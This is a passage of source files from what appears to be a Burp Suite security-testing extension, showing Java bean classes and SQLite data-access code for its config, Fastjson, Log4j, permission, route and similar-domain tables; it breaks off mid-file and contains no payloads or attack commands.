    "content": "package burp.bean;\n\npublic class ConfigBean {\n    private Integer id;\n    private String module;\n    private String type;\n    private String value;\n\n    public ConfigBean() {\n    }\n\n    public ConfigBean(String module, String type, String value) {\n        this.module = module;\n        this.type = type;\n        this.value = value;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getModule() {\n        return module;\n    }\n\n    public void setModule(String module) {\n        this.module = module;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getValue() {\n        return value;\n    }\n\n    public void setValue(String value) {\n        this.value = value;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/FastjsonBean.java",
    "content": "package burp.bean;\n\npublic class FastjsonBean {\n    private Integer id;\n    private String type;\n    private String value;\n\n    public FastjsonBean() {\n    }\n\n    public FastjsonBean(String type, String value) {\n        this.type = type;\n        this.value = value;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getValue() {\n        return value;\n    }\n\n    public void setValue(String value) {\n        this.value = value;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/Log4jBean.java",
    "content": "package burp.bean;\n\npublic class Log4jBean {\n    private Integer id;\n    private String type;\n    private String value;\n\n    public Log4jBean() {\n    }\n\n    public Log4jBean(String type, String value) {\n        this.type = type;\n        this.value = value;\n    }\n\n    public Log4jBean(Integer id, String type, String value) {\n        this.id = id;\n        this.type = type;\n        this.value = value;\n    }\n\n    public Integer getId() {\n        return id;\n    }\n\n    public void setId(Integer id) {\n        this.id = id;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getValue() {\n        return value;\n    }\n\n    public void setValue(String value) {\n        this.value = value;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/NucleiBean.java",
    "content": "package burp.bean;\n\npublic class NucleiBean {\n    private String id;\n    private String name;\n    private String author;\n    private String severity;\n    private String description;\n    private String reference;\n    private String tags;\n    private String method;\n    private String path;\n    private String header;\n    private String dsl;\n    private String raw;\n\n    public NucleiBean() {\n    }\n\n    public String getId() {\n        return id;\n    }\n\n    public void setId(String id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getAuthor() {\n        return author;\n    }\n\n    public void setAuthor(String author) {\n        this.author = author;\n    }\n\n    public String getSeverity() {\n        return severity;\n    }\n\n    public void setSeverity(String severity) {\n        this.severity = severity;\n    }\n\n    public String getDescription() {\n        return description;\n    }\n\n    public void setDescription(String description) {\n        this.description = description;\n    }\n\n    public String getReference() {\n        return reference;\n    }\n\n    public void setReference(String reference) {\n        this.reference = reference;\n    }\n\n    public String getTags() {\n        return tags;\n    }\n\n    public void setTags(String tags) {\n        this.tags = tags;\n    }\n\n    public String getMethod() {\n        return method;\n    }\n\n    public void setMethod(String method) {\n        this.method = method;\n    }\n\n    public String getPath() {\n        return path;\n    }\n\n    public void setPath(String path) {\n        this.path = path;\n    }\n\n    public String getHeader() {\n        return header;\n    }\n\n    public void setHeader(String header) {\n        this.header = header;\n    }\n\n    public String getDsl() {\n        return dsl;\n    }\n\n    public void setDsl(String dsl) {\n        this.dsl = dsl;\n    }\n\n    public String getRaw() {\n        return raw;\n    }\n\n    public void setRaw(String raw) {\n        this.raw = raw;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/PermBean.java",
    "content": "package burp.bean;\n\n/**\n * @Author Xm17\n * @Date 2024-06-22 10:47\n */\npublic class PermBean {\n    private int id;\n    private String type;\n    private String value;\n\n    public PermBean() {\n    }\n\n    public PermBean(String type, String value) {\n        this.type = type;\n        this.value = value;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getValue() {\n        return value;\n    }\n\n    public void setValue(String value) {\n        this.value = value;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/RouteBean.java",
    "content": "package burp.bean;\n\npublic class RouteBean {\n    private int id;\n    private int enable;\n    private String name;\n    private String path;\n    private String express;\n\n    public RouteBean() {\n    }\n\n    public RouteBean(int id, int enable, String name, String path, String express) {\n        this.id = id;\n        this.enable = enable;\n        this.name = name;\n        this.path = path;\n        this.express = express;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public int getEnable() {\n        return enable;\n    }\n\n    public void setEnable(int enable) {\n        this.enable = enable;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getPath() {\n        return path;\n    }\n\n    public void setPath(String path) {\n        this.path = path;\n    }\n\n    public String getExpress() {\n        return express;\n    }\n\n    public void setExpress(String express) {\n        this.express = express;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/SimilarDomainConfigBean.java",
    "content": "package burp.bean;\n\npublic class SimilarDomainConfigBean {\n    private int id;\n    private int projectId;\n    private String domain;\n    private String createTime;\n\n    public SimilarDomainConfigBean() {\n    }\n\n    public SimilarDomainConfigBean(int projectId, String domain) {\n        this.projectId = projectId;\n        this.domain = domain;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public int getProjectId() {\n        return projectId;\n    }\n\n    public void setProjectId(int projectId) {\n        this.projectId = projectId;\n    }\n\n    public String getDomain() {\n        return domain;\n    }\n\n    public void setDomain(String domain) {\n        this.domain = domain;\n    }\n\n    public String getCreateTime() {\n        return createTime;\n    }\n\n    public void setCreateTime(String createTime) {\n        this.createTime = createTime;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/SimilarDomainResultBean.java",
    "content": "package burp.bean;\n\npublic class SimilarDomainResultBean {\n    private int id;\n    private int projectId;\n    private String domain;\n    private String ip;\n    private String createTime;\n\n    public SimilarDomainResultBean() {\n    }\n\n    public SimilarDomainResultBean(int projectId, String domain, String ip) {\n        this.projectId = projectId;\n        this.domain = domain;\n        this.ip = ip;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public int getProjectId() {\n        return projectId;\n    }\n\n    public void setProjectId(int projectId) {\n        this.projectId = projectId;\n    }\n\n    public String getDomain() {\n        return domain;\n    }\n\n    public void setDomain(String domain) {\n        this.domain = domain;\n    }\n\n    public String getIp() {\n        return ip;\n    }\n\n    public void setIp(String ip) {\n        this.ip = ip;\n    }\n\n    public String getCreateTime() {\n        return createTime;\n    }\n\n    public void setCreateTime(String createTime) {\n        this.createTime = createTime;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/SimilarProjectBean.java",
    "content": "package burp.bean;\n\npublic class SimilarProjectBean {\n    private int id;\n    private String name;\n    private String createTime;\n\n    public SimilarProjectBean() {\n    }\n\n    public SimilarProjectBean(String name) {\n        this.name = name;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public String getCreateTime() {\n        return createTime;\n    }\n\n    public void setCreateTime(String createTime) {\n        this.createTime = createTime;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/SimilarUrlResultBean.java",
    "content": "package burp.bean;\n\npublic class SimilarUrlResultBean {\n    private int id;\n    private int projectId;\n    private String url;\n    private String createTime;\n\n    public SimilarUrlResultBean() {\n    }\n\n    public SimilarUrlResultBean(int projectId, String url) {\n        this.projectId = projectId;\n        this.url = url;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public int getProjectId() {\n        return projectId;\n    }\n\n    public void setProjectId(int projectId) {\n        this.projectId = projectId;\n    }\n\n    public String getUrl() {\n        return url;\n    }\n\n    public void setUrl(String url) {\n        this.url = url;\n    }\n\n    public String getCreateTime() {\n        return createTime;\n    }\n\n    public void setCreateTime(String createTime) {\n        this.createTime = createTime;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/bean/SqlBean.java",
    "content": "package burp.bean;\n\npublic class SqlBean {\n    private int id;\n    private String type;\n    private String value;\n\n    public SqlBean() {\n    }\n\n    public SqlBean(String type, String value) {\n        this.type = type;\n        this.value = value;\n    }\n\n    public int getId() {\n        return id;\n    }\n\n    public void setId(int id) {\n        this.id = id;\n    }\n\n    public String getType() {\n        return type;\n    }\n\n    public void setType(String type) {\n        this.type = type;\n    }\n\n    public String getValue() {\n        return value;\n    }\n\n    public void setValue(String value) {\n        this.value = value;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/dao/ConfigDao.java",
    "content": "package burp.dao;\n\nimport burp.bean.ConfigBean;\nimport burp.utils.DbUtils;\nimport burp.utils.Utils;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\n\n\npublic class ConfigDao {\n    // 根据模块和类型获取配置\n    public static ConfigBean getConfig(String module, String type) {\n        ConfigBean config = new ConfigBean();\n        String sql = \"select value from config where module = ? and type = ? order by id desc limit 1\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        ResultSet resultSet = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, module);\n            ps.setString(2, type);\n            resultSet = ps.executeQuery();\n            while (resultSet.next()) {\n                config.setValue(resultSet.getString(\"value\"));\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, resultSet);\n        }\n        return config;\n    }\n\n    // 删除配置\n    public static void deleteConfig(String type) {\n        String sql = \"delete from config where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, type);\n            ps.executeUpdate();\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n\n    // 根据id删除工具配置\n    public static void deleteToolConfig(String type) {\n        String sql = \"delete from config where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, type);\n            ps.executeUpdate();\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n\n    // 根据类型更新配置\n    public static void updateConfig(ConfigBean config) {\n        String sql = \"update config set value = ? where type = ? and module = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, config.getValue());\n            ps.setString(2, config.getType());\n            ps.setString(3, config.getModule());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n\n    // 保存配置\n    public static void saveConfig(ConfigBean config) {\n        String sql = \"INSERT OR REPLACE INTO config (module, type, value) VALUES (?, ?, ?)\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, config.getModule());\n            ps.setString(2, config.getType());\n            ps.setString(3, config.getValue());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n\n    }\n\n    // 获取工具配置\n    public static List<ConfigBean> getToolConfig() {\n        List<ConfigBean> configs = new ArrayList<>();\n        String sql = \"select * from config where module = 'tool'\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        ResultSet resultSet = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            resultSet = ps.executeQuery();\n            while (resultSet.next()) {\n                ConfigBean config = new ConfigBean();\n                config.setId(resultSet.getInt(\"id\"));\n                config.setModule(resultSet.getString(\"module\"));\n                config.setType(resultSet.getString(\"type\"));\n                config.setValue(resultSet.getString(\"value\"));\n                configs.add(config);\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, resultSet);\n        }\n        return configs;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/burp/dao/FastjsonDao.java",
    "content": "package burp.dao;\n\nimport burp.bean.FastjsonBean;\nimport burp.utils.DbUtils;\nimport burp.utils.Utils;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class FastjsonDao {\n    public static List<FastjsonBean> getFastjsonListsByType(String type) {\n        List<FastjsonBean> fastjsons = new ArrayList<>();\n\n        String sql = \"select * from fastjson where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        ResultSet resultSet = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, type);\n            resultSet = ps.executeQuery();\n            while (resultSet.next()) {\n                FastjsonBean fastjson = new FastjsonBean();\n                fastjson.setId(resultSet.getInt(\"id\"));\n                fastjson.setType(resultSet.getString(\"type\"));\n                fastjson.setValue(resultSet.getString(\"url\"));\n                fastjsons.add(fastjson);\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, resultSet);\n        }\n        return fastjsons;\n\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/burp/dao/Log4jDao.java",
    "content": "package burp.dao;\n\nimport burp.bean.Log4jBean;\nimport burp.utils.DbUtils;\nimport burp.utils.Utils;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class Log4jDao {\n    // 获取多个\n    public static List<Log4jBean> getLog4jListsByType(String type) {\n        String sql = \"SELECT * FROM log4j WHERE type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        ResultSet rs = null;\n        List<Log4jBean> log4jBeans = new ArrayList<>();\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, type);\n            rs = ps.executeQuery();\n            while (rs.next()) {\n                Log4jBean log4jBean = new Log4jBean();\n                log4jBean.setId(rs.getInt(\"id\"));\n                log4jBean.setType(rs.getString(\"type\"));\n                log4jBean.setValue(rs.getString(\"value\"));\n                log4jBeans.add(log4jBean);\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, rs);\n        }\n        return log4jBeans;\n    }\n    // 获取一个\n    public static Log4jBean getLog4jListByType(String type) {\n        String sql = \"SELECT * FROM log4j WHERE type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        ResultSet rs = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, type);\n            rs = ps.executeQuery();\n            while (rs.next()) {\n                Log4jBean log4jBean = new Log4jBean();\n                log4jBean.setId(rs.getInt(\"id\"));\n                log4jBean.setType(rs.getString(\"type\"));\n                log4jBean.setValue(rs.getString(\"value\"));\n                return log4jBean;\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, rs);\n        }\n        return null;\n    }\n    // 保存\n    public static void saveLog4j(Log4jBean log4jBean) {\n        String sql = \"INSERT INTO log4j(type, value) VALUES(?, ?)\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, log4jBean.getType());\n            ps.setString(2, log4jBean.getValue());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n    // 更新\n    public static void updateLog4j(Log4jBean log4jBean) {\n        String sql = \"UPDATE log4j SET value = ? WHERE type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, log4jBean.getValue());\n            ps.setString(2, log4jBean.getType());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n    // 删除\n    public static void deleteLog4jByType(String type) {\n        String sql = \"DELETE FROM log4j WHERE type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, type);\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/burp/dao/PermDao.java",
    "content": "package burp.dao;\n\nimport burp.bean.PermBean;\nimport burp.utils.DbUtils;\nimport burp.utils.Utils;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * @Author Xm17\n * @Date 2024-06-22 10:48\n */\npublic class PermDao {\n    // 保存\n    public static void savePerm(PermBean permBean){\n        String sql = \"INSERT OR REPLACE INTO perm (type, value) VALUES (?, ?)\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, permBean.getType());\n            ps.setString(2, permBean.getValue());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n\n    }\n    // 更新\n    public static void updatePerm(PermBean permBean){\n        String sql = \"update perm set value = ? where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, permBean.getValue());\n            ps.setString(2, permBean.getType());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n    // 删除\n    public static void deletePerm(String type){\n        String sql = \"delete from perm where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, type);\n            ps.executeUpdate();\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n\n    }\n    // 查询一个\n    public static PermBean getPermListByType(String type) {\n        PermBean permBean = new PermBean();\n        String routesql = \"select * from perm where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        ResultSet resultSet = null;\n        try {\n            ps = connection.prepareStatement(routesql);\n            ps.setString(1, type);\n            resultSet = ps.executeQuery();\n            while (resultSet.next()) {\n                permBean.setId(resultSet.getInt(\"id\"));\n                permBean.setType(resultSet.getString(\"type\"));\n                permBean.setValue(resultSet.getString(\"value\"));\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n        return permBean;\n\n    }\n    // 查询所有\n    public static List<PermBean> getPermListsByType(String type){\n        List<PermBean> permBeanLists = new ArrayList<>();\n        String routesql = \"select * from perm where type = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        ResultSet resultSet = null;\n        try {\n            ps = connection.prepareStatement(routesql);\n            ps.setString(1, type);\n            resultSet = ps.executeQuery();\n            while (resultSet.next()) {\n                PermBean permBean = new PermBean();\n                permBean.setId(resultSet.getInt(\"id\"));\n                permBean.setType(resultSet.getString(\"type\"));\n                permBean.setValue(resultSet.getString(\"value\"));\n                permBeanLists.add(permBean);\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n        return permBeanLists;\n    }\n\n}\n"
  },
  {
    "path": "src/main/java/burp/dao/RouteDao.java",
    "content": "package burp.dao;\n\nimport burp.bean.RouteBean;\nimport burp.bean.SqlBean;\nimport burp.utils.DbUtils;\nimport burp.utils.Utils;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class RouteDao {\n    // 获取所有规则\n    public static List<RouteBean> getRouteLists(){\n        String sql = \"SELECT * FROM route\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        ResultSet rs = null;\n        List<RouteBean> routeBeans = new ArrayList<>();\n        try {\n            ps = connection.prepareStatement(sql);\n            rs = ps.executeQuery();\n            while (rs.next()){\n                RouteBean routeBean = new RouteBean();\n                routeBean.setEnable(rs.getInt(\"enable\"));\n                routeBean.setName(rs.getString(\"name\"));\n                routeBean.setPath(rs.getString(\"path\"));\n                routeBean.setExpress(rs.getString(\"express\"));\n                routeBeans.add(routeBean);\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, rs);\n        }\n        return routeBeans;\n    }\n    // 通过id修改规则\n    public static void updateRouteById(RouteBean routeBean){\n        String sql = \"UPDATE route SET enable = ?, name = ?, path = ?, express = ? WHERE id = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setInt(1, routeBean.getEnable());\n            ps.setString(2, routeBean.getName());\n            ps.setString(3, routeBean.getPath());\n            ps.setString(4, routeBean.getExpress());\n            ps.setInt(5, routeBean.getId());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n    // 通过id修改enable\n    public static void updateRouteEnable(RouteBean routeBean){\n        String sql = \"UPDATE route SET enable = ? WHERE name = ? and path = ? and express = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setInt(1, routeBean.getEnable());\n            ps.setString(2, routeBean.getName());\n            ps.setString(3, routeBean.getPath());\n            ps.setString(4, routeBean.getExpress());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n\n    }\n    // 删除\n    public static boolean deleteRoute(RouteBean routeBean){\n        String sql = \"DELETE FROM route WHERE name = ? and path = ? and express = ?\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setString(1, routeBean.getName());\n            ps.setString(2, routeBean.getPath());\n            ps.setString(3, routeBean.getExpress());\n            ps.executeUpdate();\n            return true;\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n            return false;\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n\n    }\n    // 添加规则\n    public static void addRoute(RouteBean routeBean){\n        String sql = \"INSERT INTO route (enable, name, path, express) VALUES (?, ?, ?, ?)\";\n        Connection connection = null;\n        try {\n            connection = DbUtils.getConnection();\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }\n        PreparedStatement ps = null;\n        try {\n            ps = connection.prepareStatement(sql);\n            ps.setInt(1, routeBean.getEnable());\n            ps.setString(2, routeBean.getName());\n            ps.setString(3, routeBean.getPath());\n            ps.setString(4, routeBean.getExpress());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/dao/SimilarDomainConfigDao.java",
    "content": "package burp.dao;\n\nimport burp.bean.*;\nimport burp.utils.DbUtils;\nimport burp.utils.Utils;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class SimilarDomainConfigDao {\n    // 保存域名配置\n    public static void saveDomainConfig(SimilarDomainConfigBean config) {\n        String sql = \"INSERT INTO domain_configs (project_id, domain, create_time) VALUES (?, ?, datetime('now','localtime'))\";\n        Connection connection = null;\n        PreparedStatement ps = null;\n        try {\n            connection = DbUtils.getConnection();\n            ps = connection.prepareStatement(sql);\n            ps.setInt(1, config.getProjectId());\n            ps.setString(2, config.getDomain());\n            ps.executeUpdate();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, null);\n        }\n    }\n\n    // 批量保存域名配置\n    public static void saveDomainConfigs(int projectId, List<String> domains) {\n        Connection connection = null;\n        PreparedStatement ps = null;\n        try {\n            connection = DbUtils.getConnection();\n            connection.setAutoCommit(false);\n\n            // 先删除旧的配置\n            String deleteSql = \"DELETE FROM domain_configs WHERE project_id = ?\";\n            ps = connection.prepareStatement(deleteSql);\n            ps.setInt(1, projectId);\n            ps.executeUpdate();\n\n            // 插入新的配置\n            String insertSql = \"INSERT INTO domain_configs (project_id, domain, create_time) VALUES (?, ?, datetime('now','localtime'))\";\n            ps = connection.prepareStatement(insertSql);\n            for (String domain : domains) {\n                ps.setInt(1, projectId);\n                ps.setString(2, domain.trim());\n                ps.addBatch();\n            }\n            ps.executeBatch();\n            connection.commit();\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n            try {\n                if (connection != null) {\n                    connection.rollback();\n                }\n            } catch (SQLException ex) {\n                Utils.stderr.println(ex.getMessage());\n            }\n        } finally {\n            try {\n                if (connection != null) {\n                    connection.setAutoCommit(true);\n                }\n            } catch (SQLException e) {\n                Utils.stderr.println(e.getMessage());\n            }\n            DbUtils.close(connection, ps, null);\n        }\n    }\n\n    // 获取项目的域名配置\n    public static List<String> getDomainConfigs(int projectId) {\n        List<String> domains = new ArrayList<>();\n        String sql = \"SELECT domain FROM domain_configs WHERE project_id = ?\";\n        Connection connection = null;\n        PreparedStatement ps = null;\n        ResultSet rs = null;\n        try {\n            connection = DbUtils.getConnection();\n            ps = connection.prepareStatement(sql);\n            ps.setInt(1, projectId);\n            rs = ps.executeQuery();\n            while (rs.next()) {\n                domains.add(rs.getString(\"domain\"));\n            }\n        } catch (Exception e) {\n            Utils.stderr.println(e.getMessage());\n        } finally {\n            DbUtils.close(connection, ps, rs);\n        }\n        return domains;\n    }\n}\n"
  },
  {
    "path": "src/main/java/burp/dao/SimilarDomainResultDao.java",
    "content": "package burp.dao;\n\nimport burp.bean.SimilarDomainResultBean;\nimport burp.utils.DbUtils;\nimport burp.utils.Utils;\n\nimport java.sql.Connection;\nimport java.sql.PreparedStatement;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.List;\n\npublic class SimilarDomainResultDao {\n    // 保存域名结果\n    public static int saveDomainResult(SimilarDomainResultBean result) {\n        Connection connection = null;\n        PreparedStatement ps = null;\n        ResultSet rs = null;\n\n        try {\n            connection = DbUtils.getConnection();\n\n            // 先检查是否存在相同记录\n            String checkSql = \"SELECT id FROM domain_results WHERE project_id = ? AND domain = ?\";\n            ps = connection.prepareStatement(checkSql);\n            ps.setInt(1, result.getProjectId());\n            ps.setString(2, result.getDomain());\n            rs = ps.executeQuery();\n\n            if (rs.next()) {\n                // 如果存在，更新IP和时间\n                int existingId = rs.getInt(\"id\");\n                DbUtils.close(null, ps, rs); // 关闭旧的PreparedStatement和ResultSet\n\n                String updateSql = \"UPDATE domain_results SET ip = ?, create_time = 